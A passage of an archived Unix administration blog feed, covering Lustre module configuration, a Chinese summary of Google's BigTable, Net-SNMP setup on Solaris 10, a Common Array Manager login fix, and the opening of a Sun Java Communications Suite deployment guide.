linux-2.4:&lt;br /&gt;&lt;br /&gt;# sample modules.conf for autoloading lustre modules on zeroconf clients&lt;br /&gt; &lt;br /&gt;add below kptlrouter portals&lt;br /&gt;add below ptlrpc ksocknal&lt;br /&gt;add below llite lov osc&lt;br /&gt;alias lustre llite&lt;br /&gt;&lt;br /&gt;Modutils for linux-2.6 uses a different configuration-file. The entries should be added to modprobe.conf.local or to a new file in the /etc/modprobe.d/ directory:&lt;br /&gt;&lt;br /&gt;# sample modprobe.conf.local for autoloading lustre modules on zeroconf clients&lt;br /&gt; &lt;br /&gt;install kptlrouter /sbin/modprobe portals; /sbin/modprobe --ignore-install kptlrouter&lt;br /&gt;install ptlrpc /sbin/modprobe ksocknal; /sbin/modprobe --ignore-install ptlrpc&lt;br /&gt;install llite /sbin/modprobe lov; /sbin/modprobe osc; /sbin/modprobe --ignore-install llite&lt;br /&gt;alias lustre llite&lt;br /&gt;&lt;br /&gt;# sample modprobe.conf.local for autoloading lustre modules on zeroconf clients with elan&lt;br /&gt; &lt;br /&gt;install kptlrouter /sbin/modprobe portals; /sbin/modprobe --ignore-install kptlrouter&lt;br /&gt;install kqswnal /sbin/modprobe kptlrouter; /sbin/modprobe --ignore-install kqswnal&lt;br /&gt;install ksocknal /sbin/modprobe kqswnal; /sbin/modprobe --ignore-install ksocknal&lt;br /&gt;install ptlrpc /sbin/modprobe ksocknal; /sbin/modprobe --ignore-install ptlrpc&lt;br /&gt;install llite /sbin/modprobe lov osc; /sbin/modprobe --ignore-install llite&lt;br /&gt;alias lustre llite&lt;br /&gt;&lt;br /&gt;Note that if you are working from RPM's then you must install the lustre-lite-utils RPM as well as the kernel RPM otherwise this will fail with the error:&lt;br /&gt;&lt;br /&gt;LustreError: 6946:(llite_lib.c:540:lustre_fill_super()) Unable to process log:&lt;br /&gt;LustreError: 6946:(llite_lib.c:603:lustre_fill_super()) Unable to process log: -clean&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Once your Lustre filesystem has been mounted on a client, you are able to create files and directories subject to normal Linux file/directory permissions: touch /mnt/lustre/foo &lt;/p&gt;&lt;span style="font-family: monospace;"&gt;Once your Lustre filesystem has been mounted on a client, you are able to create files and directories subject to normal Linux file/directory permissions: touch /mnt/lustre/foo&lt;br /&gt;&lt;br /&gt;To get a sense of the performance of the file system, run the "vmstat" utility on the OSS's while creating files on the lustre file system. Using "iozone" will give a more accurate performance measure than "dd" in our example:&lt;br /&gt;&lt;br /&gt;oss1&gt; vmstat 1&lt;br /&gt;oss2&gt; vmstat 1&lt;br /&gt;client&gt; dd of=/mnt/lustre/bigfile if=/dev/zero bs=1048576&lt;br /&gt;or&lt;br /&gt;client&gt; cd /mnt/lustre; iozone -a&lt;br /&gt;&lt;br /&gt;The "bo" column from vmstat will show blocks (1024 bytes) out every second, so this gives a throughput rate in KB/sec.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;p&gt;A user-space library version of the Lustre file system is now available for some versions of Lustre, it gives a user application linked with the library access to Lustre file systems. The key goals for the library are to provide a portable mechanism to access Lustre from different POSIX compliant operating systems, to provide access from microkernel based systems and from the Windows operating system. &lt;/p&gt;&lt;p&gt;More information is available at &lt;a href="http://wiki.lustre.org/index.php?title=LibLustre_HowTo" class="external text" title="http://wiki.lustre.org/index.php?title=LibLustre_HowTo" rel="nofollow"&gt;LibLustreHowTo&lt;/a&gt;. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-5512501417104569419?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/5512501417104569419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=5512501417104569419' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5512501417104569419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5512501417104569419'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2008/02/lustre-file-system-at-glance.html' title='Lustre File System at a glance'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-5015651086119195228</id><published>2007-12-03T15:10:00.000+08:00</published><updated>2007-12-03T15:11:07.525+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Google's BigTable</title><content type='html'>&lt;p&gt;官方的 Google Reader blog 中有对BigTable 的解释。这是Google 内部开发的一个用来处理大数据量的系统。这种系统适合处理半结构化的数据比如 RSS 数据源。 以下发言是 Andrew Hitchcock  在 2005 年10月18号基于： Google 的工程师 Jeff Dean 在华盛顿大学的一次谈话 (Creative Commons License).&lt;/p&gt; &lt;p&gt;首先，BigTable 从 2004 年初就开始研发了，到现在为止已经用了将近8个月。（2005年2月）目前大概有100个左右的服务使用BigTable，比如： Print,Search History,Maps和 Orkut。根据Google的一贯做法，内部开发的BigTable是为跑在廉价的PC机上设计的。BigTable 让Google在提供新服务时的运行成本降低，最大限度地利用了计算能力。BigTable 是建立在 GFS ，Scheduler ，Lock Service 和 MapReduce 之上的。&lt;/p&gt; &lt;p&gt;每个Table都是一个多维的稀疏图 sparse map。Table 由行和列组成，并且每个存储单元 cell 都有一个时间戳。在不同的时间对同一个存储单元cell有多份拷贝，这样就可以记录数据的变动情况。在他的例子中，行是URLs ，列可以定义一个名字，比如：contents。Contents 字段就可以存储文件的数据。或者列名是：”language”，可以存储一个“EN”的语言代码字符串。&lt;/p&gt; &lt;p&gt;为了管理巨大的Table，把Table根据行分割，这些分割后的数据统称为：Tablets。每个Tablets大概有 100-200 MB，每个机器存储100个左右的 Tablets。底层的架构是：GFS。由于GFS是一种分布式的文件系统，采用Tablets的机制后，可以获得很好的负载均衡。比如：可以把经常响应 的表移动到其他空闲机器上，然后快速重建。&lt;/p&gt; &lt;p&gt;Tablets在系统中的存储方式是不可修改的 immutable 的SSTables，一台机器一个日志文件。当系统的内存满后，系统会压缩一些Tablets。由于Jeff在论述这点的时候说的很快，所以我没有时间把听到的都记录下来，因此下面是一个大概的说明：&lt;/p&gt; &lt;p&gt;压缩分为：主要和次要的两部分。次要的压缩仅仅包括几个Tablets，而主要的压缩时关于整个系统的压缩。主压缩有回收硬盘空间的功能。Tablets的位置实际上是存储在几个特殊的BigTable的存储单元cell中。看起来这是一个三层的系统。&lt;/p&gt; &lt;p&gt;客户端有一个指向METAO的Tablets的指针。如果METAO的Tablets被频繁使用，那个这台机器就会放弃其他的tablets专门支 持METAO这个Tablets。METAO tablets 保持着所有的META1的tablets的记录。这些tablets中包含着查找tablets的实际位置。（老实说翻译到这里，我也不太明白。）在这个 系统中不存在大的瓶颈，因为被频繁调用的数据已经被提前获得并进行了缓存。&lt;/p&gt; &lt;p&gt;现在我们返回到对 列的说明：列是类似下面的形式： family:optional_qualifier。在他的例子中，行：&lt;a href="http://www.search-analysis.com/"&gt;www.search-analysis.com&lt;/a&gt; 也许有列：”contents:其中包含html页面的代码。 “ anchor:cnn.com/news” 中包含着 相对应的url，”anchor:www.search-analysis.com/” 包含着链接的文字部分。列中包含着类型信息。 &lt;/p&gt; &lt;p&gt;注意这里说的是列信息，而不是列类型。列的信息是如下信息，一般是：属性/规则。 比如：保存n份数据的拷贝 或者 保存数据n天长等等。当 tablets 重新建立的时候，就运用上面的规则，剔出不符合条件的记录。由于设计上的原因，列本身的创建是很容易的，但是跟列相关的功能确实非常复杂的，比如上文提到 的 类型和规则信息等。为了优化读取速度，列的功能被分割然后以组的方式存储在所建索引的机器上。这些被分割后的组作用于 列 ,然后被分割成不同的 SSTables。这种方式可以提高系统的性能，因为小的，频繁读取的列可以被单独存储，和那些大的不经常访问的列隔离开来。&lt;/p&gt; &lt;p&gt;在一台机器上的所有的 tablets 共享一个log，在一个包含1亿的tablets的集群中，这将会导致非常多的文件被打开和写操作。新的log块经常被创建，一般是64M大小，这个 GFS的块大小相等。当一个机器down掉后，控制机器就会重新发布他的log块到其他机器上继续进行处理。这台机器重建tablets然后询问控制机器 处理结构的存储位置，然后直接对重建后的数据进行处理。&lt;/p&gt; &lt;p&gt;这个系统中有很多冗余数据，因此在系统中大量使用了压缩技术。&lt;/p&gt; &lt;p&gt;Dean 对压缩的部分说的很快，我没有完全记下来，所以我还是说个大概吧：压缩前先寻找相似的 行，列，和时间 数据。&lt;/p&gt; &lt;p&gt;他们使用不同版本的： BMDiff 和 Zippy 技术。&lt;/p&gt; &lt;p&gt;BMDiff 提供给他们非常快的写速度： 100MB/s – 1000MB/s 。Zippy 是和 LZW 类似的。Zippy 并不像 LZW 或者 gzip 那样压缩比高，但是他处理速度非常快。&lt;/p&gt; &lt;p&gt;Dean 还给了一个关于压缩 web 蜘蛛数据的例子。这个例子的蜘蛛 包含 2.1B 的页面，行按照以下的方式命名：“com.cnn.www/index.html:http”.在未压缩前的web page 页面大小是：45.1 TB ，压缩后的大小是：4.2 TB ， 只是原来的 9.2%。Links 数据压缩到原来的 13.9% , 链接文本数据压缩到原来的 12.7%。&lt;/p&gt; &lt;p&gt;Google 还有很多没有添加但是已经考虑的功能。&lt;/p&gt; &lt;p&gt;    1.  数据操作表达式，这样可以把脚本发送到客户端来提供修改数据的功能。&lt;br /&gt;    2. 多行数据的事物支持。&lt;br /&gt;    3.  提高大数据存储单元的效率。&lt;br /&gt;    4. BigTable 作为服务运行。&lt;br /&gt;好像：每个服务比如： maps 和 search history 历史搜索记录都有他们自己的集群运行 BigTable。&lt;br /&gt;他们还考虑运行一个全局的 BigTable 系统，但这需要比较公平的分割资源和计算时间.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-5015651086119195228?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/5015651086119195228/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=5015651086119195228' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5015651086119195228'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/5015651086119195228'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/12/googles-bigtable.html' title='Google&apos;s BigTable'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-1236293517522517135</id><published>2007-10-30T10:20:00.000+08:00</published><updated>2007-11-06T15:38:21.671+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SNMP'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Solaris 10 and Net-SNMP</title><content type='html'>Net-SNMP is provided in Solaris 10 release now, and how to use it is descripted in this article.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;To disable Sun's SNMP&lt;/span&gt;&lt;br /&gt;#svcadm disable svc:/application/management/snmpdx:default&lt;br /&gt;&lt;br /&gt;the Net-SNMP daemon program locates at /usr/sfw/sbin/snmpd, and configure file of snmpd  saved  with the name snmpd.conf at /etc/sma/snmp. Use svcadm to start of stop snmpd:&lt;br /&gt;#svcadm enable svc:/application/management/sma:default&lt;br /&gt;#svcadm disable svc:/application/management/sma:default&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Log File&lt;/span&gt;&lt;br /&gt;if there's any error or warning messages, see the file /var/svc/log/application-management-sma\:default.log. The default log file of snmpd is &lt;kbd&gt;/var/log/snmpd.log.&lt;/kbd&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configuration file&lt;/span&gt;&lt;br /&gt;We may use /etc/sma/snmp/snmpd.conf.save as the working configure file to test wheather our snmpd daemon is ok.&lt;br /&gt;#cp /etc/sma/snmp/snmpd.conf.save /etc/sma/snmp/snmpd.conf&lt;br /&gt;#svcadm restart sma&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;P.S. There's another file also named as snmpd.conf stored in /var/sma_snmp directory, and which is called persistent storage file. The persistent storage file, /var/sma_snmp/snmpd.conf, contains USM security information and any MIB components that are set for persistent storage. This file also contains the engineID and the engineID boots. This persistent storage file is automatically updated when the System Management Agent starts. When the System Management Agent stops, the snmpusm and snmpvacm utilities write user security information to this storage file.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Using the AgentX Protocol&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;The AgentX protocol is supported in the System Management Agent. By default, the System Management Agent ships with a secure profile, that is, read–only access. AgentX allows interaction with third party subagents, provided that these subagents support AgentX over Unix Domain Sockets. For security reasons, AgentX is not supported over TCP/UDP. For more information on the AgentX protocol, see http://www.ietf.org/rfc/rfc2741.txt&lt;/span&gt;  Edit the main &lt;kbd&gt;/etc/sma/snmp/snmpd.conf&lt;/kbd&gt; configuration file to configure the System Management Agent to use the AgentX protocol. By default, the AgentX protocol is disabled. The following procedure describes how to enable the AgentX protocol. To enable the AgentX protocol add the following to /etc/sma/snmp/snmpd.conf file:&lt;br /&gt;&lt;br /&gt;master agentx&lt;br /&gt;&lt;br /&gt;restart the sma (system management agent).&lt;br /&gt;# svcadm restart svc:/application/management/sma:default&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Using the SMA&lt;/span&gt;&lt;br /&gt;To view the status of the agent&lt;br /&gt;# svcs svc:/application/management/sma:default&lt;br /&gt;&lt;br /&gt;To See Which MIBs Are Initialized&lt;br /&gt;# /usr/sfw/sbin/snmpd  -Dregister_mib -Dmib_init -L&lt;br /&gt;&lt;br /&gt;To Check the Disk Space and Network on a Local or Remote Machine&lt;br /&gt;# /usr/sfw/bin/snmpwalk -v1 -c public localhost HOST-RESOURCES-MIB::hrStorageIndex&lt;br /&gt;&lt;br /&gt;# /usr/sfw/bin/snmpget -v1 -c public localhost HOST-RESOURCES-MIB::hrStorageSize.1&lt;br /&gt;&lt;br /&gt;# /usr/sfw/bin/snmpwalk -v1 -c public localhost HOST-RESOURCES-MIB::hrStorageUsed&lt;br /&gt;&lt;br /&gt;# /usr/sfw/bin/snmpnetstat -v 2c -c public -a localhost&lt;br /&gt;&lt;br /&gt;if all these works, congratulations, the sma is configured and brought on properly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-1236293517522517135?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/1236293517522517135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=1236293517522517135' title='68 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/1236293517522517135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/1236293517522517135'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/10/solarus-10-and-net-snmp.html' title='Solaris 10 and Net-SNMP'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>68</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-1321398114071763376</id><published>2007-06-12T23:39:00.000+08:00</published><updated>2007-06-12T23:48:36.999+08:00</updated><title type='text'>Common Array Manager</title><content type='html'>One of the most silly things Sun have done is to manage disk array using Java web console. When you want to set the disk array such as STK 6140 or 6540, you have to install  Java, Tomcat and Common array manager on your Windows laptop.&lt;br /&gt;&lt;br /&gt;When all components above installed succsessfully, remember to modify your firewall settings and registry, or you'll get "Authentication failed" message when logining to the Java web console.&lt;br /&gt;&lt;br /&gt;using regedit on your XP system and set&lt;br /&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ForceGuest&lt;br /&gt;&lt;br /&gt;to 0.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-1321398114071763376?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/1321398114071763376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=1321398114071763376' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/1321398114071763376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/1321398114071763376'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/06/common-array-manager.html' title='Common Array Manager'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-5310326768591592648</id><published>2007-05-30T21:17:00.000+08:00</published><updated>2007-05-30T22:49:17.532+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Jave ES'/><title type='text'>Sun Java Communications Suite 5 on Multi-Hosts</title><content type='html'>&lt;!-- navigation --&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;This deployment example describes how to install Sun Java™ Communications Suite 5 software on multi-hosts for a functioning deployment. This document is intended for any evaluator, system administrator, or installation technician who wants to install and evaluate the services delivered by these components.                      &lt;blockquote&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;This deployment example contains the following sections:  &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Summary of Changes&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;About This Deployment Example&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Installing the Example&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Configuring Components&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Starting and Stopping Communications Services&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Accessing Sun Resources Online&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt; &lt;h1 class="pHeading1"&gt;Summary of Changes &lt;/h1&gt;&lt;p class="pParagraph"&gt; The following describes the changes that have occurred from the Sun Java System Communications Services 6 2005Q4 single host installation example (as described in &lt;em class="cEmphasis"&gt;Deployment Example: Sun Java Communications Services 2005Q4 on a Single Host&lt;/em&gt;): &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ol class="pSmartList1" type="1"&gt;&lt;a name="wp39222"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Portal Server is no longer installed.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp39220"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Solaris™ Operating System (OS) 10 is used.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp45629"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Hosted domains are now configured.&lt;/li&gt;&lt;/div&gt;&lt;a name="wp47552"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;All Communications Express UI rendering elements are now deployed in the same web container to support Single Sign-On. As a result, Access Manager is no longer required for Communications Express and there are fewer configuration settings that you have to enter&lt;/li&gt;&lt;/div&gt;&lt;/ol&gt;&lt;/div&gt; &lt;a name="wp39218"&gt; &lt;/a&gt;&lt;h1 class="pHeading1"&gt;About This Deployment Example &lt;/h1&gt; &lt;a name="wp32984"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section provides an overview of this deployment scenario, the hardware and software used, and the procedures you follow to install, configure, and use this deployment. &lt;/p&gt; &lt;a name="wp32985"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section contains the following topics: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp32989"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Installation Overview&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Implementation Specifications for This Example&lt;/li&gt;&lt;/div&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Summary of Installation and Configuration&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;h2 class="pHeading2"&gt; Installation Overview &lt;/h2&gt; &lt;p class="pParagraph"&gt;This scenario results in a functioning deployment suited for the evaluation and testing of Sun Java Communications Suite 5. These instructions are merely intended to guide the evaluator through an initial installation. &lt;/p&gt; &lt;a name="wp33020"&gt; &lt;/a&gt;&lt;h3 class="pHeading3"&gt; What Components Are Installed? &lt;/h3&gt; &lt;a name="wp33021"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This example guides you through installing the following Communications Suite and Java Enterprise System components: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp46024"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Messaging Server 6.3&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46025"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Calendar Server 6.3&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46026"&gt; &lt;/a&gt;&lt;a name="wp46027"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Communications Express 6.3&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46028"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Directory Preparation Tool 6.4&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46029"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Communications Services Delegated Administrator 6.4&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46030"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Web Server 7.0&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46031"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Message Queue 3.7 UR1&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46032"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Access Manager 7.1&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46033"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;Sun Java System Directory Server Enterprise Edition 6.0&lt;/li&gt;&lt;/div&gt;&lt;a name="wp46034"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;All Shared Components&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt; &lt;a name="wp33030"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt;The example installation in this document uses the following data that you change according to your installation and test machine: &lt;/p&gt; &lt;div class="pSmartList1"&gt;&lt;ul class="pSmartList1"&gt;&lt;a name="wp33031"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;domain name: &lt;span class="cCode"&gt;abc.beta.com&lt;/span&gt;&lt;/li&gt;&lt;/div&gt;&lt;a name="wp33032"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;host name: &lt;span class="cCode"&gt;am(172.18.61.126), ds(172.18.61.125), mail(172.18.61.95)&lt;/span&gt; (all running Solaris OS 10 x86)&lt;/li&gt;&lt;/div&gt;&lt;a name="wp42086"&gt; &lt;/a&gt;&lt;a name="wp33033"&gt; &lt;/a&gt;&lt;div class="pSmartList1"&gt;&lt;li&gt;password: &lt;span class="cCode"&gt;adminpass&lt;/span&gt; used for all passwords except the &lt;span class="cCode"&gt;amldapuser&lt;/span&gt; password&lt;/li&gt;&lt;/div&gt;&lt;/ul&gt;&lt;/div&gt;&lt;a name="wp33421"&gt;&lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;h3 class="pHeading3"&gt;Recommended Ports &lt;/h3&gt; &lt;a name="wp33042"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt;For convenience, this example uses a set of recommended ports. If you use different ports, be sure to make the changes consistently throughout the installation. For example, this document uses port 8800 for the Web Server admin port. If you decide to use port 3333 instead, be sure to change it everywhere 8800 occurs in the deployment example.  &lt;/p&gt; &lt;a name="wp42486"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt;  &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="This table is used for Notes, Tips, and Cautions" id="wp42483" border="0" width="90%"&gt;   &lt;caption&gt;&lt;br /&gt;&lt;/caption&gt; &lt;tbody&gt;&lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;    &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp42483"&gt; &lt;/a&gt;&lt;p class="pNote"&gt; Note &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp42485"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; Unless otherwise indicated, all of the examples and instructions in this document assume that you are logged in as &lt;span class="cCode"&gt;root&lt;/span&gt;. &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr&gt;&lt;td colspan="2"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/div&gt; &lt;p class="pAnchor"&gt;  &lt;/p&gt; &lt;a name="wp42494"&gt; &lt;/a&gt;&lt;h2 class="pHeading2"&gt; Implementation Specifications for This Example &lt;/h2&gt; &lt;a name="wp42495"&gt; &lt;/a&gt;&lt;p class="pParagraph"&gt; This section describes implementation specifications for this example. &lt;/p&gt; &lt;a name="wp42536"&gt; &lt;/a&gt;&lt;p class="pAnchor"&gt; &lt;/p&gt;&lt;div align="left"&gt; &lt;table summary="Solaris Hardware and Software Requirements" id="SummaryNotReq42496" border="1" cellpadding="5" cellspacing="0"&gt;   &lt;caption&gt;&lt;a name="wp42503"&gt; &lt;/a&gt;&lt;p class="pCaption"&gt; Table  2  Evaluation Host Hardware and Software Requirements  &lt;/p&gt; &lt;/caption&gt;   &lt;tbody&gt;&lt;tr align="left" bgcolor="#cdccee" valign="top"&gt;    &lt;th scope="col"&gt;&lt;a name="wp42507"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Component  &lt;/p&gt; &lt;/th&gt;     &lt;th scope="col"&gt;&lt;a name="wp42509"&gt; &lt;/a&gt;&lt;p class="pTableHead"&gt; Platform Requirement &lt;/p&gt; &lt;/th&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp42511"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; CPU  &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp42513"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt;Intel &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp42515"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; RAM  &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp42517"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; 2 Gbytes or more &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp42519"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Disk space  &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp42521"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; 2.2 Gbytes or more free disk space for installed software. 2.1 Gbytes additional disk space may be needed for temporary storage of Communications Suite zip files. &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp42523"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Software &lt;/p&gt; &lt;/td&gt;     &lt;td&gt;&lt;a name="wp42525"&gt; &lt;/a&gt;&lt;p class="pTableText"&gt; Solaris 10 OS. &lt;/p&gt; &lt;a name="wp44369"&gt; &lt;/a&gt;mail, am and ds are seprated zones on a single host. &lt;/td&gt; &lt;/tr&gt;   &lt;tr align="left" valign="top"&gt;    &lt;td&gt;&lt;a name="wp42529"&gt; &lt;/a&gt;&lt;p 